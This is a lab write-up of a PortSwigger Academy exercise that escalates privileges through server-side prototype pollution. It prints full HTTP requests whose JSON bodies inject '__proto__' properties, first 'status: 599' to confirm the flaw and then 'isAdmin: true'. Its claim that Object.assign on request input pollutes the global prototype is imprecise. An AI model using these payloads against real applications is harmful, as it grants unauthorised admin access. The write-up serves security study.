Privilege Escalation via Server-Side Prototype Pollution
Platform: PortSwigger Web Security Academy Vulnerability: Server-side Prototype Pollution -> Privilege Escalation Difficulty: Practitioner
Overview
Server-side prototype pollution occurs when user-controlled JSON input is merged into objects on the backend without proper sanitization. Unlike client-side pollution which targets DOM gadgets, server-side pollution targets application logic like authorization checks.
Reconnaissance
Technology Stack
- Backend: Express (Node.js) - identified via
X-Powered-By: Expressheader - Endpoint:
/my-account/change-address - Content-Type:
application/json
Functionality
User profile update functionality that accepts JSON body with address fields.
Testing for Pollution (Safe Method)
Before exploiting, tested with a non-destructive property to confirm pollution works without risking server stability.
Test Request
POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv
{
"address_line_1": "Wiener HQ1",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv",
"__proto__": {
"status": 599
}
}
Test Response
HTTP/1.1 200 OK
X-Powered-By: Express
Cache-Control: no-store
Content-Type: application/json; charset=utf-8
ETag: W/"d3-wRazsXL+ibJ4OtAoDFNxK7MasNE"
Date: Sat, 10 Jan 2026 00:58:21 GMT
Connection: close
Keep-Alive: timeout=5
X-Frame-Options: SAMEORIGIN
Content-Length: 211
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ1",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": false,
"status": 599
}
Error Validation Request
POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv
{"address_line_1":"Wiener HQ1","address_line_2":"One Wiener Way","city":"Wienerville","postcode":BU1 1RP","country":"UK","sessionId":"rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv","__proto__":{"status":599}}
Error Validation Response
{
"error": {
"expose": false,
"statusCode": 599,
"status": 599,
"body": "...",
"type": "entity.parse.failed"
}
}
The status: 599 appearing in the error response confirms prototype pollution is working - the polluted property is being inherited by error objects.
Why this is safe: Using status with a non-standard code (599) confirms the vulnerability without polluting critical properties like constructor, toString, or application-specific auth properties that could crash the server or lock you out.
Exploitation
Vulnerable Request
POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv
{
"address_line_1": "Wiener HQ1",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "rui5TLDBhjb3YXxyY8bvKmjYfErsaiyv",
"__proto__": {
"isAdmin": true
}
}
Response
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ1",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": true,
"status": 599
}
The response confirms isAdmin: true was successfully injected into the user object.
Technical Analysis
Why It Works
- Backend uses a vulnerable object merge/extend function on user input
- The
__proto__key is not filtered from the JSON input - When merged, it pollutes
Object.prototype.isAdmin = true - Subsequent authorization checks inherit this property from the prototype
- User gains admin privileges
Common Vulnerable Patterns (Node.js)
// Vulnerable merge patterns
Object.assign(userObj, req.body); // Vulnerable
_.merge(userObj, req.body); // Lodash < 4.17.12
$.extend(true, userObj, req.body); // jQuery deep extend
Key Learnings
- Server-side vs Client-side - Server-side pollution targets application logic (auth, permissions) rather than DOM gadgets
- Express/Node.js - Common target due to JavaScript’s prototype chain
- JSON parsing -
JSON.parse()preserves__proto__keys by default - Detection - Look for JSON endpoints that merge user input into objects
- Impact - Direct privilege escalation without needing to find gadgets
References
- PortSwigger Server-side Prototype Pollution: https://portswigger.net/web-security/prototype-pollution/server-side